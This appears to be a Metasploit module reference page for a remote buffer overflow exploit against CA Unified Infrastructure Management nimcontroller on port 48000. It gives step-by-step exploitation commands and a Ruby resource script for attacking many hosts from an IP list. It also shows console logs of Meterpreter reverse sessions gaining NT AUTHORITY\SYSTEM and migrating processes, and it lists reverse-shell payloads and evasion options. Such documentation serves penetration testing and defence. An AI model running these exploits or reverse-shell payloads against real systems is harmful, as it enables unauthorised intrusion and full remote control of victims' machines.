CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/windows/nimsoft/nimcontroller_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow
Module: exploit/windows/nimsoft/nimcontroller_bof
Source code: modules/exploits/windows/nimsoft/nimcontroller_bof.rb
Disclosure date: 2020-02-05
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 48000
List of CVEs: CVE-2020-8010, CVE-2020-8012

This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list probe. Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the directory_list probe.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage

Using nimcontroller_bof against a single host

Normally, you can use exploit/windows/nimsoft/nimcontroller_bof this way:

msf > use exploit/windows/nimsoft/nimcontroller_bof
msf exploit(nimcontroller_bof) > show targets
    ... a list of targets ...
msf exploit(nimcontroller_bof) > set TARGET target-id
msf exploit(nimcontroller_bof) > show options
    ... show and set options ...
msf exploit(nimcontroller_bof) > exploit

Using nimcontroller_bof against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your nimcontroller_bof will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/nimsoft/nimcontroller_bof")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable to a buffer overflow vulnerability within the nimcontroller when using the directory_list probe. Since the directory_list probe requires read privileges the target host must also be vulnerable to CVE-2020-8010 to bypass ACL settings. Successful code execution will result in a NT AUTHORITY\SYSTEM shell, even if exploitation fails the remote service will not crash. You should be able to exploit the service an unlimited amount of times.

Verification Steps

  1. Install the CA UIM v7.80.3132 (nimsoftrobotXXX.exe)
  2. Start msfconsole
  3. Do use exploit/windows/nimsoft/nimcontroller_bof
  4. Do set RHOSTS <ip>
  5. Do exploit
  6. Verify shell is opened and service is still accessible

CA UIM Nimsoft Probe Utility

Scenarios

Windows 10 x64

msf5 exploit(windows/nimsoft/nimcontroller_bof) > options

Module options (exploit/windows/nimsoft/nimcontroller_bof):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DIRECTORY  C:\              no        Directory path to obtain a listing
   RHOSTS     W.X.Y.Z          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      48000            yes       The target port (TCP)


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     A.B.C.D          yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Windows Universal (x64) - v7.80.3132


msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit

[*] Started HTTPS reverse handler on https://A.B.C.D:8443
[*] W.X.Y.Z:48000 - Executing automatic check (disable AutoCheck to override)
[*] https://A.B.C.D:8443 handling request from W.X.Y.Z; (UUID: rpsri4cm) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (A.B.C.D:8443 -> W.X.Y.Z:50980) at 2020-07-21 11:14:09 -0500
[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun  1 2015] detected, sending directory_list probe

 Directory of C:\

 12/15/2019 06:24 PM   $GetCurrent
 12/14/2019 01:41 AM   $Recycle.Bin
 10/18/2019 05:55 PM   Documents and Settings
 07/21/2020 10:15 AM   pagefile.sys
 07/14/2020 03:41 PM   PerfLogs
 06/10/2020 09:18 AM   Program Files
 07/19/2020 01:37 PM   Program Files (x86)
 07/14/2020 03:41 PM   ProgramData
 12/15/2019 07:08 PM   Recovery
 07/21/2020 10:15 AM   swapfile.sys
 10/18/2019 04:04 PM   System Volume Information
 12/15/2019 07:09 PM   Users
 07/18/2020 02:20 PM   Windows

[+] W.X.Y.Z:48000 - The target is vulnerable.

meterpreter >
[*] Session ID 1 (A.B.C.D:8443 -> W.X.Y.Z:50980) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against DESKTOP-JICNNRT
[*] Current server process: notepad.exe (1860)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 7472
[+] Successfully migrated into process 7472

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/nimsoft/nimcontroller_bof) > set DIRECTORY C:\\Users\\
DIRECTORY => C:\Users\
msf5 exploit(windows/nimsoft/nimcontroller_bof) > check

[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun  1 2015] detected, sending directory_list probe

 Directory of C:\Users\

 03/19/2019 12:02 AM   All Users
 12/15/2019 07:14 PM   Default
 03/19/2019 12:02 AM   Default User
 03/18/2019 11:49 PM   desktop.ini
 07/19/2020 01:37 PM   REDACTED
 12/15/2019 09:07 PM   Public

[+] W.X.Y.Z:48000 - The target is vulnerable.

Go back to menu.

Msfconsole Usage

Here is how the windows/nimsoft/nimcontroller_bof exploit module looks in the msfconsole:

msf6 > use exploit/windows/nimsoft/nimcontroller_bof

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/nimsoft/nimcontroller_bof) > show info

       Name: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow
     Module: exploit/windows/nimsoft/nimcontroller_bof
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-05

Provided by:
  wetw0rk

Module stability:
 crash-safe

Available targets:
  Id  Name
  --  ----
  0   Windows Universal (x64) - v7.80.3132

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DIRECTORY  C:\              no        Directory path to obtain a listing
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      48000            yes       The target port (TCP)

Payload information:
  Space: 2000

Description:
  This module exploits a buffer overflow within the CA Unified 
  Infrastructure Management nimcontroller. The vulnerability occurs in 
  the robot (controller) component when sending a specially crafted 
  directory_list probe. Technically speaking the target host must also 
  be vulnerable to CVE-2020-8010 in order to reach the directory_list 
  probe.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-8010
  https://nvd.nist.gov/vuln/detail/CVE-2020-8012
  https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832
  https://packetstormsecurity.com/files/156577

Module Options

This is a complete list of options available in the windows/nimsoft/nimcontroller_bof exploit:

msf6 exploit(windows/nimsoft/nimcontroller_bof) > show options

Module options (exploit/windows/nimsoft/nimcontroller_bof):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DIRECTORY  C:\              no        Directory path to obtain a listing
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      48000            yes       The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows Universal (x64) - v7.80.3132

Advanced Options

Here is a complete list of advanced options supported by the windows/nimsoft/nimcontroller_bof exploit:

msf6 exploit(windows/nimsoft/nimcontroller_bof) > show advanced

Module advanced options (exploit/windows/nimsoft/nimcontroller_bof):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ForceExploit            false            no        Override check result
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting              Required  Description
   ----                         ---------------              --------  -----------
   AutoLoadStdapi               true                         yes       Automatically load the Stdapi extension
   AutoRunScript                post/windows/manage/migrate  no        A script to run automatically on session creation.
   AutoSystemInfo               true                         yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false                        yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30                           no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false                        no        Encode the second stage payload
   EnableUnicodeEncoding        false                        yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                            no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                                      no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                                 no        The displayed command line that will be used by the payload
   PayloadUUIDName                                           no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                            no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                           no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false                        yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                            yes       How many additional successful pingbacks
   PingbackSleep                30                           yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false                        yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                        no        Process to spawn and run shellcode in
   ReverseAllowProxy            false                        yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                   no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                                       no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false                        yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300                          no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800                       no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600                         no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10                           no        Number of seconds to wait between reconnect attempts
   StageEncoder                                              no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                                 no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true                         no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10                           no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                            no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false                        no        Enable detailed status messages
   WORKSPACE                                                 no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/nimsoft/nimcontroller_bof module can exploit:

msf6 exploit(windows/nimsoft/nimcontroller_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Universal (x64) - v7.80.3132

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/nimsoft/nimcontroller_bof exploit:

msf6 exploit(windows/nimsoft/nimcontroller_bof) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   22  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   23  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   24  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   27  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   28  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   29  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   30  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   31  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   32  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   33  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   34  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   35  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   36  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   37  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   38  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   39  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   40  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   41  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   42  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   43  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   44  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   45  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   46  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   47  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   48  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   51  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   52  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   53  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   55  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

Here is the full list of possible evasion options supported by the windows/nimsoft/nimcontroller_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/nimsoft/nimcontroller_bof) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response was returned from the target.

Here is a relevant code snippet related to the "No response was returned from the target." error message:

76:	
77:	    sock.put(generate_probe('get_info', ['interfaces=0']))
78:	    response = sock.get_once(4096)
79:	
80:	    unless response
81:	      return CheckCode::Unknown('No response was returned from the target.')
82:	    end
83:	
84:	    list_check = -1
85:	
86:	    begin

Failed to gather directory listing

Here is a relevant code snippet related to the "Failed to gather directory listing" error message:

319:	    begin
320:	      dirlist = response.split('\x00')[0].split("\x00")
321:	      index = dirlist.index('entry') + 3
322:	      final = dirlist[index..-1]
323:	    rescue StandardError
324:	      print_error('Failed to gather directory listing')
325:	      return -1
326:	    end
327:	
328:	    print_line("\n Directory of #{directory}\n")
329:

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References

Authors

  • wetw0rk

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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